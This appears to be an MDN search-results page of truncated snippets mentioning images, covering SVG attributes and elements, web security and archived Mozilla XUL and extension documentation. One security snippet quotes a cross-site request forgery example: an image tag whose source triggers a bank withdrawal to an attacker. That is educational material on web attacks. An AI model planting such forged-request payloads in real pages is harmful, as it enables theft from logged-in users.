as a presentation attribute, it can be applied to any element but it has effect only on the following nineteen elements: <a>, <altglyph>, <audio>, <canvas>, <circle>, <ellipse>, <foreignobject>, <iframe>, <image>, <line>, <path>, <polygon>, <polyline>, <rect>, <text>, <textpath>, <tref>, <tspan>, <video> html, body, svg { height: 100%; } <svg viewbox="0 0 220 120" xmlns="http://www.w3.org/2000/svg"> <rect x="10" y="10" width="200" height="100" stroke="black" stroke-width="5" fill="transparent" /> <g stroke="seagreen" stroke-width="5" fill="skyblue"> <rect x="20" y="20" width="80" hei...
... example the following example toggles the css visibility of the svg image path.
xlink:title - SVG: Scalable Vector Graphics
these elements are using this attribute: <a>, <altglyph>, <animate>, <animatecolor>, <animatemotion>, <animatetransform>, <color-profile>, <cursor>, <feimage>, <filter>, <font-face-uri>, <glyphref>, <image>, <lineargradient>, <mpath>, <pattern>, <radialgradient>, <script>, <set>, <textpath>, <tref>, and <use> usage context value <anything> default value none animatable no <anything> this value specifies the title used to describe the meaning of the link or resource.
... candidate recommendation deprecated the attribute and made it only apply to <a>, <image>, <lineargradient>, <pattern>, <radialgradient>, <script>, <textpath>, and <use> scalable vector graphics (svg) 1.1 (second edition)the definition of 'seed' in that specification.
SVG Attribute reference - SVG: Scalable Vector Graphics
WebSVGAttribute
filter filterres filterunits flood-color flood-opacity font-family font-size font-size-adjust font-stretch font-style font-variant font-weight format from fr fx fy g g1 g2 glyph-name glyph-orientation-horizontal glyph-orientation-vertical glyphref gradienttransform gradientunits h hanging height href hreflang horiz-adv-x horiz-origin-x i id ideographic image-rendering in in2 intercept k k k1 k2 k3 k4 kernelmatrix kernelunitlength kerning keypoints keysplines keytimes l lang lengthadjust letter-spacing lighting-color limitingconeangle local m marker-end marker-mid marker-start markerheight markerunits markerwidth mask maskcontentunits maskunits mathematical max media method min mode n name numoctave...
...p, clip-path, clip-rule, color, color-interpolation, color-interpolation-filters, color-profile, color-rendering, cursor, direction, display, dominant-baseline, enable-background, fill, fill-opacity, fill-rule, filter, flood-color, flood-opacity, font-family, font-size, font-size-adjust, font-stretch, font-style, font-variant, font-weight, glyph-orientation-horizontal, glyph-orientation-vertical, image-rendering, kerning, letter-spacing, lighting-color, marker-end, marker-mid, marker-start, mask, opacity, overflow, pointer-events, shape-rendering, stop-color, stop-opacity, stroke, stroke-dasharray, stroke-dashoffset, stroke-linecap, stroke-linejoin, stroke-miterlimit, stroke-opacity, stroke-width, text-anchor, text-decoration, text-rendering, transform, transform-origin, unicode-bidi, vector-ef...
<cursor> - SVG: Scalable Vector Graphics
WebSVGElementcursor
a recommended approach for defining a platform-independent custom cursor is to create a png image and define a cursor element that references the png image and identifies the exact position within the image which is the pointer position (i.e., the hot spot).
...if a different image format is used, this format should support the definition of a transparency mask (two options: provide an explicit alpha channel or use a particular pixel color to indicate transparency).
<feBlend> - SVG: Scalable Vector Graphics
WebSVGElementfeBlend
this is similar to what is known from image editing software when blending two layers.
... example svg <svg width="200" height="200" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <defs> <filter id="spotlight"> <feflood result="floodfill" x="0" y="0" width="100%" height="100%" flood-color="green" flood-opacity="1"/> <feblend in="sourcegraphic" in2="floodfill" mode="multiply"/> </filter> </defs> <image xlink:href="//developer.mozilla.org/files/6457/mdn_logo_only_color.png" x="10%" y="10%" width="80%" height="80%" style="filter:url(#spotlight);"/> </svg> result specifications specification status comment filter effects module level 1the definition of '<feblend>' in that specification.
<feDisplacementMap> - SVG: Scalable Vector Graphics
the <fedisplacementmap> svg filter primitive uses the pixel values from the image from in2 to spatially displace the image from in.
... the formula for the transformation looks like this: p'(x,y) ← p( x + scale * (xc(x,y) - 0.5), y + scale * (yc(x,y) - 0.5)) where p(x,y) is the input image, in, and p'(x,y) is the destination.
<feOffset> - SVG: Scalable Vector Graphics
WebSVGElementfeOffset
the <feoffset> svg filter primitive allows to offset the input image.
... the input image as a whole is offset by the values specified in the dx and dy attributes.
<feTile> - SVG: Scalable Vector Graphics
WebSVGElementfeTile
the <fetile> svg filter primitive allows to fill a target rectangle with a repeated, tiled pattern of an input image.
... example svg <svg width="200" height="200" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <defs> <filter id="tile" x="0" y="0" width="100%" height="100%"> <fetile in="sourcegraphic" x="50" y="50" width="100" height="100" /> <fetile/> </filter> </defs> <image xlink:href="/files/6457/mdn_logo_only_color.png" x="10%" y="10%" width="80%" height="80%" style="filter:url(#tile);"/> </svg> result specifications specification status comment filter effects module level 1the definition of '<fetile>' in that specification.
<feTurbulence> - SVG: Scalable Vector Graphics
the <feturbulence> svg filter primitive creates an image using the perlin turbulence function.
...the resulting image will fill the entire filter primitive subregion.
Namespaces crash course - SVG: Scalable Vector Graphics
this xlink parameter is also frequently used in svg on the <a>, <use> and <image> elements among others, so it's a good idea to always include the xlink declaration in your documents.
...for example: elt.setattributens('http://www.w3.org/1999/xlink', 'xlink:href', 'otherdoc.svg'); as a final example, here's a demonstration of how you should dynamically create an <image> element using script: var svg_ns = 'http://www.w3.org/2000/svg'; var xlink_ns = 'http://www.w3.org/1999/xlink'; var image = document.createelementns(svg_ns, 'image'); image.setattributens(null, 'width', '100'); image.setattributens(null, 'height', '100'); image.setattributens(xlink_ns, 'xlink:href', 'flower.png'); conclusion make sure you always declare the namespaces you use in your xml fil...
SVG In HTML Introduction - SVG: Scalable Vector Graphics
ach is backwards compatible to browsers that do not support svg; simply, no background appears in them it's very simple and performs very well the picture dynamically sizes itself to the required size in an intelligent way we can have declarative style rules applying to both html and svg the same script manipulates both html and svg the document is entirely standards-based to add a linked image with dom methods to an embedded svg element, one has to use setattributens to set href.
... like in the following example: var img = document.createelementns("http://www.w3.org/2000/svg", "image"); img.setattributens("http://www.w3.org/1999/xlink", "xlink:href", "move.png"); details the viewbox attribute establishes a logical coordinate system which the svg picture's coordinates are relative to.
Texts - SVG: Scalable Vector Graphics
WebSVGTutorialTexts
the one is the inclusion and display of text in an image, and the other are svg fonts.
... the latter may be described in a later section of the tutorial, while we will focus completely on the first part: bringing text into an svg image.
SVG Tutorial - SVG: Scalable Vector Graphics
WebSVGTutorial
if you just want to draw beautiful images, you might find more useful resources at inkscape's documentation page.
... introducing svg from scratch introduction getting started positions basic shapes paths fills and strokes gradients patterns texts basic transformations clipping and masking other content in svg filter effects svg fonts svg image tag tools for svg svg and css the following topics are more advanced and hence should get their own tutorials.
mimeTypes.rdf corruption - SVG: Scalable Vector Graphics
this will set up the os to associate the .svg filename extension with the incorrect media type "image/svg-xml" instead of "image/svg+xml".
...change every occurance of "image/svg-xml" (or whatever the invalid media type is) to "image/svg+xml".
Same-origin policy - Web security
for example, you can read the dimensions of an embedded image, the actions of an embedded script, or the availability of an embedded resource.
... images displayed by <img>.
Types of attacks - Web security
in this situation, someone includes an image that isn’t really an image (for example in an unfiltered chat or forum), instead it really is a request to your bank’s server to withdraw money: <img src="https://bank.example.com/withdraw?account=bob&amount=1000000&for=mallory"> now, if you are logged into your bank account and your cookies are still valid (and there is no other validation), you will transfer money as soon as you load the ...
...html that contains this image.
Tutorials
intermediate level multimedia and embedding this module explores how to use html to include multimedia in your web pages, including the different ways that images can be included, and how to embed video, audio, and even entire other webpages.
...how do i decorate my webpage with background images and colors?
Navigator.mozNotification - Archive of obsolete content
iconurl optional a url identifying the image to display in the notification.
content/loader - Archive of obsolete content
this may take one of the following values: "start": load content scripts immediately after the document element for the page is inserted into the dom, but before the dom content itself has been loaded "ready": load content scripts once dom content has been loaded, corresponding to the domcontentloaded event "end": load content scripts once all the content (dom, js, css, images) for the page has been loaded, at the time the window.onload event fires contentscriptoptions read-only value exposed to content scripts under self.options property.
window/utils - Archive of obsolete content
this means that its "load" event has been fired and all content is loaded, including the whole dom document, images, and any other sub-resources.
Modifying Web Pages Based on URL - Archive of obsolete content
by default, content scripts are attached after all the content (dom, js, css, images) for the page has been loaded, at the time the window.onload event fires.
Alerts and Notifications - Archive of obsolete content
ice;1'] .getservice(components.interfaces.nsialertsservice) .showalertnotification(null, title, text, false, '', null); } catch(e) { // prevents runtime error on platforms that don't implement nsialertsservice } } if you need to display a comparable alert on a platform that doesn't support nsialertsservice, you can do this: function popup(title, msg) { var image = null; var win = components.classes['@mozilla.org/embedcomp/window-watcher;1'] .getservice(components.interfaces.nsiwindowwatcher) .openwindow(null, 'chrome://global/content/alerts/alert.xul', '_blank', 'chrome,titlebar=no,popup=yes', null); win.arguments = [image, title, msg, false, '']; } using notification box ...
On page load - Archive of obsolete content
ef.search("forum") > -1) alert("a forum page is loaded"); // add event listener for page unload aevent.originaltarget.defaultview.addeventlistener("unload", function(event){ myextension.onpageunload(event); }, true); }, onpageunload: function(aevent) { // do something } }; current firefox trunk nightlies will fire the onpageload function for not only documents, but xul:images (favicons in tabbrowser).
Tabbox - Archive of obsolete content
examples: .tabs-closebutton { list-style-image: url(http://mozilla.org/favicon.ico); } .tabs-closebutton { list-style-image: url("chrome://global/skin/icons/close.gif"); } ...
Code snippets - Archive of obsolete content
downloading files code to download files, images, and to monitor download progress password manager code used to read and write passwords to/from the integrated password manager bookmarks code used to read and write bookmarks javascript debugger service code used to interact with the javascript debugger service svg general general information and utilities svg animation animate svg using javascript and smil svg interacting with ...
Creating custom Firefox extensions with the Mozilla build system - Archive of obsolete content
using third-party libraries for more sophisticated extensions, you may want to integrate third-party libraries that provide specialized functionality for database connectivity, image processing, networking and the like.
Displaying web content in an extension without security issues - Archive of obsolete content
it won’t harm disabling everything else as well unless it is really required: frame.docshell.allowauth = false; frame.docshell.allowimages = false; frame.docshell.allowjavascript = false; frame.docshell.allowmetaredirects = false; frame.docshell.allowplugins = false; frame.docshell.allowsubframes = false; but what about interactivity, for example if you want a certain reaction to mouse clicks?
Extension Theming Guidelines - Archive of obsolete content
skin packages just as extension code should exist in chrome content packages, all of the styling for an extension including css and images should exist in a chrome skin package.
Installing Extensions and Themes From Web Pages - Archive of obsolete content
the icon can be any image format supported by firefox, and should be 32x32 pixels in size.
Listening to events in Firefox extensions - Archive of obsolete content
load dispatched after the page—including images—has first finished loading.
Chapter 2: Technologies used in developing extensions - Archive of obsolete content
some examples of xml-based markup languages include xhtml, which is html redefined on an xml base; svg, for expressing vector images; and mathml, for expressing mathematical formulas.
Intercepting Page Loads - Archive of obsolete content
shouldload is called for every load operation firefox tries to do, including images, scripts and xul documents.
Performance best practices in extensions - Archive of obsolete content
avoid animated images animated images are much more expensive than generally expected, especially when used in xul tree elements..
Extensions support in SeaMonkey 2 - Archive of obsolete content
enu_toolspopup taskpopup taskpopup tools menu popup - windowpopup windowpopup window menu popup menu_helppopup helppopup helppopup help menu popup urlbar icons to display a button with a menupopup in the urlbar-icons for both firefox and seamonkey 2.0, use this code: <hbox id="urlbar-icons"> <image popup="myext-menu"/> </hbox> <window id="main-window"> <menupopup id="myext-menu"> <menuitem label="menuitem"/> <menuitem label="menuitem"/> </menupopup> </window> instead of <hbox id="urlbar-icons"> <button type="menu"> <menupopup> <menuitem label="menuitem"/> <menuitem label...
Security best practices in extensions - Archive of obsolete content
frame.docshell.allowimages = false; frame.docshell.allowjavascript = false; frame.docshell.allowplugins = false; there are more examples listed in the document listed above in this section.
Creating reusable content with CSS and XBL - Archive of obsolete content
you can use css to provide content for selected elements, but the content is limited to text and images, and its positioning is limited to before or after the selected element.
Index of archived content - Archive of obsolete content
tions list of mozilla-based applications localizing an extension mmgc makefile - .mk files misc top level bypassing security restrictions and signing code creating a web based tone generator defining cross-browser tooltips environment variables affecting crash reporting io guide images, tables, and mysterious gaps installing plugins to gecko embedding browsers on windows mcd, mission control desktop, aka autoconfig monitoring wifi access points no proxy for configuration notes on html reflow same-origin policy for file: uris source navigator source code directories overview using xml data...
Inner-browsing extending the browser navigation paradigm - Archive of obsolete content
note this article is the version from 2003 with slight modifications (no images and no links to samples).
MMgc - Archive of obsolete content
that means that it might occasionally turn up a "false positive." a false positive is a memory location that looks like it contains a pointer to a gc object, but it's really just some jpeg image data or an integer variable or some other unrelated data.
Conclusion - Archive of obsolete content
mozilla applications often store their css and image files in a separate skin subdirectory within the installation directory.
Making it into a dynamic overlay and packaging it up for distribution - Archive of obsolete content
plication/javascript" src="chrome://tinderstatus/content/tinderstatus.js" /> <statusbar id="status-bar"> <statusbarpanel class="statusbarpanel-iconic" id="tinderbox-status" insertbefore="offline-status" status="none"/> </statusbar> </overlay> we also need to change the urls in the copy of tinderstatus.css: statusbarpanel#tinderbox-status { list-style-image: url("chrome://tinderstatus/content/tb-nostatus.png"); } statusbarpanel#tinderbox-status[status="success"] { list-style-image: url("chrome://tinderstatus/content/tb-success.png"); } statusbarpanel#tinderbox-status[status="testfailed"] { list-style-image: url("chrome://tinderstatus/content/tb-testfailed.png"); } statusbarpanel#tinderbox-status[status="busted"] { list-style-image: url("chr...
contents.rdf - Archive of obsolete content
ng supplied by this theme --> <rdf:seq about="urn:mozilla:skin:root"> <rdf:li resource="urn:mozilla:skin:myskin/1.0" /> </rdf:seq> <rdf:description about="urn:mozilla:skin:myskin/1.0" chrome:displayname="my skin" chrome:accesskey="m" chrome:author="me" chrome:description="this is my custom skin for mozilla" chrome:name="myskin/1.0" chrome:image="preview.png"> <chrome:packages> <rdf:seq about="urn:mozilla:skin:myskin/1.0:packages"> <rdf:li resource="urn:mozilla:skin:myskin/1.0:communicator"/> <rdf:li resource="urn:mozilla:skin:myskin/1.0:editor"/> <rdf:li resource="urn:mozilla:skin:myskin/1.0:global"/> <rdf:li resource="urn:mozilla:skin:myskin/1.0:messenger"/> <rdf:li resource="urn:mozill...
toolbarBindings.xml - Archive of obsolete content
bindings"> <binding id="toolbar-primary" extends="chrome://global/content/bindings/toolbar.xml#toolbar-primary"> <content> <xul:hbox class="toolbar-holder toolbar-primary-holder" flex="1" xbl:inherits="orient=tborient,buttonstyle"> <xul:hbox class="toolbar-button-box" flex="1"> <children/> </xul:hbox> <xul:image class="toolbar-primary-icon" xbl:inherits="buttonstyle"/> </xul:hbox> </content> </binding> </bindings> ...
Creating a Skin for Firefox/Getting Started - Archive of obsolete content
css files the css files in these directories tell the browser how to display the buttons and other controls, where to put the images, what border and padding it should put around them, and so on.
Dehydra Frequently Asked Questions - Archive of obsolete content
images of those graphs reminded me of the multiheaded hydra monster.
Editor Embedding Guide - Archive of obsolete content
getcommandstate "state_attribute" (cstring) docommand "state_attribute" (cstring) "left", "right", "center", "justify" cmd_inserthtml cmd_insertlinknoui cmd_insertimagenoui cmd_inserthr cmd_charset sets the charset for the document.
Block and Line Layout Cheat Sheet - Archive of obsolete content
ns_frame_external_reference ns_frame_replaced_element ns_frame_generated_content ns_frame_has_loaded_images ns_frame_out_of_flow ns_frame_selected_content ns_frame_is_dirty ns_frame_is_unflowable an unflowable frame is an error condition; for example, due to system limitations.
Repackaging Firefox - Archive of obsolete content
the source directory is a directory that contains the windows installer, mac disk image (.dmg), and/or linux tarball of the standard firefox that you wish to customize.
jspage - Archive of obsolete content
ndow[b]=window.prototype[b]=a;}});window.prototype={$family:{name:"window"}}; new window(window);var document=new native({name:"document",legacy:(browser.engine.trident)?null:window.document,initialize:function(a){$uid(a);a.head=a.getelementsbytagname("head")[0]; a.html=a.getelementsbytagname("html")[0];if(browser.engine.trident&&browser.engine.version<=4){$try(function(){a.execcommand("backgroundimagecache",false,true); });}if(browser.engine.trident){a.window.attachevent("onunload",function(){a.window.detachevent("onunload",arguments.callee);a.head=a.html=a.window=null; });}return $extend(a,document.prototype);},afterimplement:function(b,a){document[b]=document.prototype[b]=a;}});document.prototype={$family:{name:"document"}}; new document(document);array.implement({every:function(c,d){for(var...
Metro browser chrome tests - Archive of obsolete content
static content for tests static content (html files, images, etc.) should be stored in sub directories to avoid polluting the main test directory.
Microsummary topics - Archive of obsolete content
it does not generally download related content like embedded images and javascript scripts referenced by the page.
Plugin Architecture - Archive of obsolete content
note that while nsobjectloadingcontent also deals with images and documents, this document concentrates on plugins.
BundleLibrary - Archive of obsolete content
reddit: reddit.webapp remember the milk: rtm.webapp (note: should work with google gears with some help) rsizr image editor rsizr.webapp seeqpod: seeqpod.webapp playable music search engine.
Priority Content - Archive of obsolete content
migrators: joel coreson note: the article links some external example files, not sure how to migrate them (perhaps via "upload file" function that's normally used for images?) also check if any extra files live in the article's directory --jens.b 14:07, 26 apr 2005 (pdt) dependant on: mostly completed*: class xbdesignmode / devedge - joel coreson please put completed articles on the devedge page instead.
New Skin Notes - Archive of obsolete content
--dria when using floated divs - images and such.
Safely loading URIs - Archive of obsolete content
so if you're implementing a context menu and you add a "view image" option, the source of the image uri would be the page the image is in, not the chrome document the context menu code is in.
Table Layout Regression Tests - Archive of obsolete content
place the images in table/images block/images or (don't forget cvs commit -kb) and the test file in the table/bugs or block/bugs directory.
URIs and URLs - Archive of obsolete content
familiar examples include an electronic document, an image, a service (e.g., "today's weather report for los angeles"), and a collection of other resources.
Using Breakpoints in Venkman - Archive of obsolete content
the onflipx function in figure 1, for example, uses the variable newsign to figure out what image to use for the fish.
XBL 1.0 Reference - Archive of obsolete content
bindings binding content children implementation constructor destructor field property getter setter method parameter body handlers handler resources stylesheet image binding attachment and detachment attachment using css attachment using element.style property <constructor> call <destructor> call binding documents dom interfaces the nsidomdocumentxbl interface anonymous content introduction scoping and access using the dom content generation rules for generation attribute forwarding insertion points <children> handli...
closebutton - Archive of obsolete content
you can set an image to the "new tab" and "close" buttons by applying them to the tabs-newbutton and tabs-closebutton classes respectively.
icon - Archive of obsolete content
ArchiveMozillaXULAttributeicon
this should be used in place of the image attribute.
lightweightthemesfooter - Archive of obsolete content
« xul reference home lightweightthemesfooter type: id specifies the id of an element to which a lightweight theme's footer image will be applied.
onclick - Archive of obsolete content
example <image src="hello.png" onclick="alert('hi')"/> see also click dom element ...
onerror - Archive of obsolete content
« xul reference home onerror type: script code this event is sent to an image element when an error occurs loading the image.
onload - Archive of obsolete content
see image.onload prefwindow.onload ...
panel.flip - Archive of obsolete content
in this image, the panel has flip="slide" and has a width which is greater than the distance from the anchor to the right of the screen (or window), so the panel extends past the left of the anchor, and the arrow slides towards the middle of the panel such that it is still aligned with the anchor.
panel.type - Archive of obsolete content
drag specify this for a panel that's being used as a drag image for a drag and drop operation.
src - Archive of obsolete content
ArchiveMozillaXULAttributesrc
examples <iframe id="content-body" src="http://www.mozilla.org/"/> <browser src="http://www.mozilla.org" flex="1"/> <image src='firefoxlogo.png' width='135' height='130'/> see also prefpane.src treecell.src treecol.src script.src stringbundle.src checkbox.src ...
Attribute (XUL) - Archive of obsolete content
ehistory equalsize eventnode events expr firstdayofweek firstpage first-tab fixed flags flex focused forcecomplete grippyhidden grippytooltiptext group handlectrltab height helpuri hidden hidechrome hidecolumnpicker hideheader hideseconds hidespinbuttons highlightnonmatches homepage href icon id ignoreblurwhilesearching ignorecase ignoreincolumnpicker ignorekeys image inactivetitlebarcolor increment index inputtooltiptext insertafter insertbefore instantapply inverted iscontainer isempty key keycode keytext label lastpage lastselected last-tab left linkedpanel max maxheight maxlength maxpos maxrows maxwidth member menu menuactive min minheight minresultsforpopup minwidth mode modifiers mousethrough movetoclick multiline m...
Deprecated and defunct markup - Archive of obsolete content
ntained tabbox and tabpanel) <text> (like <label> or <description> but does not wrap; like <label crop="end">; had been used in menus/toolbars) <textfield> (like <textbox>) <thumb> (<button> with deprecated <gripper>; implements sliding box in center of scrolbar) <title> (to add a caption on a <titledbox> <titledbox> (box with a frame) <titledbutton> (attempt to combine text and images before <button>) <toolbarpaletteitem> required to embed non-buttons in customisable toolbars --neil 03 march 2011 <treebody> (old/experimental and unsupported xul tags) lives on as the internal name for the ancestor <treechildren> element --neil 03 march 2011 <treecaption> (old/experimental and unsupported xul tags) <treecolgroup> (former name for <treecols> <treecolpicker> (inter...
Moving, Copying and Deleting Files - Archive of obsolete content
var file = io.newfile("desktop", "myimage.png"); file.copyto(null, "anotherimage.png"); here, a file is copied within the same directory as the supplied destination is null.
setIcon - Archive of obsolete content
ArchiveMozillaXULMethodsetIcon
« xul reference home seticon( atab, auri ) return type: no return value sets the specified tab's favicon to the image specified by auri.
Menus - Archive of obsolete content
</menu> <spacer flex="1"/> <image src="logo.png"/> </menubar> in this example, a logo image is placed on the end of a menubar.
PopupEvents - Archive of obsolete content
for instance, right clicking on an image might display items on a context menu pertaining to images, whereas clicking on a link would display only those items pertaining to links.
Positioning - Archive of obsolete content
there are several possible values for the position attribute, described here, along with images which show how a popup would be aligned in each case.
Tooltips - Archive of obsolete content
<tooltip id="iconic"> <image src="help.png"/> <label value="save a file to a remote site"/> </tooltip> <button label="save" tooltip="iconic"/> in this example, a tooltip with the id 'iconic' contains an image and a label.
accessibleType - Archive of obsolete content
xulalert 1001 xulbutton 1002 xulcheckbox 1003 xulcolorpicker 1004 xulcolorpickertile 1005 xulcombobox 1006 xuldropmarker 1007 xulgroupbox 1008 xulimage 1009 xullink 100a xullistbox 100b xullistcell 1026 xullisthead 1024 xullistheader 1025 xullistitem 100c xulmenubar 100d xulmenuitem 100e ...
Property - Archive of obsolete content
n editingrow editingsession editor editortype emptytext deprecated since gecko 2 enablecolumndrag eventnode firstordinalcolumn firstpermanentchild flex focused focuseditem forcecomplete group handlectrlpageupdown handlectrltab hasuservalue height hidden hideseconds highlightnonmatches homepage hour hourleadingzero id ignoreblurwhilesearching image increment inputfield inverted is24hourclock ispm issearching iswaiting itemcount label labelelement lastpermanentchild lastselected left linkedpanel listboxobject locked markupdocumentviewer max maxheight maxlength maxrows maxwidth menu menuboxobject menupopup min minheight minresultsforpopup minwidth minute minuteleadingzero mode ...
Sorting and filtering a custom tree view - Archive of obsolete content
lvalue = function(row, col) { return table[row][col.id]; }; this.settree = function(treebox) { this.treebox = treebox; }; this.iseditable = function(row, col) { return col.editable; }; this.iscontainer = function(row){ return false; }; this.isseparator = function(row){ return false; }; this.issorted = function(){ return false; }; this.getlevel = function(row){ return 0; }; this.getimagesrc = function(row,col){ return null; }; this.getrowproperties = function(row,props){}; this.getcellproperties = function(row,col,props){}; this.getcolumnproperties = function(colid,col,props){}; this.cycleheader = function(col, elem) {}; } function sort(column) { var columnname; var order = tree.getattribute("sortdirection") == "ascending" ?
alert-icon - Archive of obsolete content
this and the other icon classes may be used by image elements or other elements which can have an image.
menuitem-non-iconic - Archive of obsolete content
« xul reference home menuitem-non-iconic normally, menuitems have a margin to the left for an image or checkmark.
Style classes - Archive of obsolete content
ArchiveMozillaXULStyle
« xul reference home alert-icon chromeclass-toolbar error-icon groove header indent listcell-iconic listitem-iconic menuitem-iconic menuitem-non-iconic message-icon monospace plain question-icon small-margin statusbarpanel-iconic statusbarpanel-iconic-text statusbarpanel-menu-iconic text-link thin tree-splitter treecol-image ...
Additional Template Attributes - Archive of obsolete content
<hbox datasources="template-guide-photos5.rdf" ref="http://www.xulplanet.com/rdf/myphotos"> <template container="?start" member="?photo"> <rule> <image uri="?photo" src="?photo"/> </rule> </template> </hbox> in this example, the ?photo variable can be used instead of 'rdf:*' (although you can use either even if you specify the member variable).
Recursive Generation - Archive of obsolete content
if you look at the image of the example again, you will see that the buttons do have these labels.
Result Generation - Archive of obsolete content
in the image, the resource uri's are the blue labels of each node.
The Joy of XUL - Archive of obsolete content
xul provides a clear separation among the client application definition and programmatic logic ("content" consisting of xul, xbl, and javascript), presentation ("skin" consisting of css and images), and language-specific text labels ("locale" consisting of dtds and string bundles in .properties files).
Adding Event Handlers - Archive of obsolete content
example 2 : source view <vbox oncommand="alert(event.target.tagname);"> <button label="ok"/> <checkbox label="show images"/> </vbox> in this example, the command event will bubble up from the button or checkbox to the vbox, where it is handled.
Box Model Details - Archive of obsolete content
as shown in the image, there are two buttons which expand vertically to fit their container, which in this case is the hbox.
Grids - Archive of obsolete content
ArchiveMozillaXULTutorialGrids
s> <column/> <column flex="1"/> </columns> <rows> <row> <label control="doctitle" value="document title:"/> <textbox id="doctitle" flex="1"/> </row> <row> <label control="docpath" value="path:"/> <hbox flex="1"> <textbox id="docpath" flex="1"/> <button label="browse..."/> </hbox> </row> </rows> </grid> notice in the image how the first column of elements containing the labels has only a single element in each row.
Keyboard Shortcuts - Archive of obsolete content
you'll also notice in the image that text has been placed next to the paste menu command to indicate that ctrl and the v key can be pressed to invoke the menu command.
More Event Handlers - Archive of obsolete content
example 1 : source view <vbox oncommand="alert(event.currenttarget.tagname);"> <button label="ok"/> <checkbox label="show images"/> </vbox> stop event propagation once you handle an event, regardless of where in the propagation the event is, you will likely want to stop the event from being sent to further elements, essentially stopping the capturing or bubbling phases from continuing.
More Menu Features - Archive of obsolete content
you will see in the image that this letter has been underlined in the menu label.
More Tree Features - Archive of obsolete content
as can be seen in the image, a small plus or minus sign (often called a twisty) has appeared next to the first row, indicating that it contains child rows.
Numeric Controls - Archive of obsolete content
using a value of grid uses a calendar grid, as shown in the image below.
Simple Menu Bars - Archive of obsolete content
the image here shows what the earlier example would look like without the menu bar.
Tabboxes - Archive of obsolete content
as shown by the image, the two options appear on the second tab.
The Chrome URL - Archive of obsolete content
for example, a chrome url lets you refer to a file in the theme such as an image without needing to know which theme the user is using.
Toolbars - Archive of obsolete content
in the image, you can see them appear horizontally along the top.
Tree Selection - Archive of obsolete content
in the image, there are eight rows displayed, of which two are selected.
Tree View Details - Archive of obsolete content
1, -deletecount); } } else { item[2] = true; var label = this.visibledata[idx][0]; var toinsert = this.childdata[label]; for (var i = 0; i < toinsert.length; i++) { this.visibledata.splice(idx + i + 1, 0, [toinsert[i], false]); } this.treebox.rowcountchanged(idx + 1, toinsert.length); } this.treebox.invalidaterow(idx); }, getimagesrc: function(idx, column) {}, getprogressmode : function(idx,column) {}, getcellvalue: function(idx, column) {}, cycleheader: function(col, elem) {}, selectionchanged: function() {}, cyclecell: function(idx, column) {}, performaction: function(action) {}, performactiononcell: function(action, index, column) {}, getrowproperties: function(idx, prop) {}, getcellproperties: functio...
Trees and Templates - Archive of obsolete content
note in the image that additional child elements below the top-level elements have been added automatically.
XUL Tutorial - Archive of obsolete content
introduction introduction xul structure the chrome url manifest files simple elements creating a window adding buttons adding labels and images input controls numeric controls list controls progress meters adding html elements using spacers more button features the box model the box model element positioning box model details groupboxes adding more elements more layout elements stacks and decks stack positioning tabboxes grids content panels splitters toolbars and menus toolbars simple menu bars more menu features popup menus scrolling menus events and scripts adding event han...
Urlbar-icons - Archive of obsolete content
create new image or button child elements to add your own items.
XML - Archive of obsolete content
xul is little beyond the set of tags used to define interface widgets, the relationship between them, or grammar, and some built-in flexibility for using extra resources like images, html elements, and other standards-based technologies.
XUL Event Propagation - Archive of obsolete content
the following image describes in a very basic way how the various actors in the event model interact with one another.
editor - Archive of obsolete content
however, text editing, image resizing, and table row and cell editing capabilities are provided.
elements - Archive of obsolete content
a action arrowscrollbox b bbox binding bindings box broadcaster broadcasterset button browser c checkbox caption colorpicker column columns commandset command conditions content d deck description dialog dialogheader e editor grid grippy groupbox h hbox i iframe image k key keyset l label listbox listcell listcol listcols listhead listheader listitem m member menu menubar menuitem menulist menupopup menuseparator o observes overlay p page popup popupset preference preferences prefpane prefwindow progressmeter r radio radiogroup resizer richlistbox richlistitem resizer row rows rule s script scrollbar scrollbox scrollcorner...
prefwindow - Archive of obsolete content
for example the permissions manager ui in firefox uses the same window for three dialogs: images, software installation and popups.
splitter - Archive of obsolete content
the vbox is used to hold the .png image that a user clicks on to resize the search bar.--> <splitter tooltiptext="resize the search box" oncommand="alert('the splitter was dragged')"> <vbox id="example_vbox" /> </splitter> attributes collapse type: one of the values below determines which side of the splitter is collapsed when its grippy is clicked.
stack - Archive of obsolete content
ArchiveMozillaXULstack
examples <stack> <hbox flex="1"> <image src="chrome://xulschoolhello/skin/stack-bg.png" flex="1"left="10"right="10" top="10" bottom="10"/> </hbox> <hbox> <!-- some content here.
tabbrowser - Archive of obsolete content
seticon( atab, auri ) return type: no return value sets the specified tab's favicon to the image specified by auri.
tabs - Archive of obsolete content
ArchiveMozillaXULtabs
you can set an image to the "new tab" and "close" buttons by applying them to the tabs-newbutton and tabs-closebutton classes respectively.
Custom app bundles for Mac OS X - Archive of obsolete content
mac os x applications are typically packaged as application bundles which are then distributed in .dmg (disk image) files.
reftest opportunities files - Archive of obsolete content
2 http://dbaron.org/css/test/linebox3 http://dbaron.org/css/test/linebox4 http://dbaron.org/css/test/inlinetest http://dbaron.org/css/test/sec1101 http://dbaron.org/css/test/sec110102 http://dbaron.org/css/test/sec110102b http://dbaron.org/css/test/sec1102a http://dbaron.org/css/test/sec1102b http://dbaron.org/css/test/sec1201 http://dbaron.org/css/test/sec1202 http://dbaron.org/css/test/sec140201image http://dbaron.org/css/test/sec150203c http://dbaron.org/css/test/sec150203d http://dbaron.org/css/test/shadow http://dbaron.org/css/test/sec1702 http://dbaron.org/css/test/sec170201 http://dbaron.org/css/test/sec1704 http://dbaron.org/css/test/sec1704b http://dbaron.org/css/test/sec170401 http://dbaron.org/css/test/sec170501 http://dbaron.org/css/test/sec170501a http://dbaron.org/css/test/sec1705...
Mozilla release FAQ - Archive of obsolete content
it is very difficult to determine what components of the webpage actually needs -- certain images may be shared between several pages, the user may have images turned off or lack capabilities to use a certain type of media.
2006-11-22 - Archive of obsolete content
discussions image labelling for blind help machines frank hecker brought up a valid discussion about the problem of getting images tagged for use by screen.
2006-12-01 - Archive of obsolete content
summary: mozilla.dev.apps.thunderbird - november 18 - 24, 2006 announcements none for this week discussions how to display toolbar button image within the customization palette?
2006-11-10 - Archive of obsolete content
matthew gertner wants to know if anyone has written code to paste images from the clipboard on platforms other than windows?
2006-09-29 - Archive of obsolete content
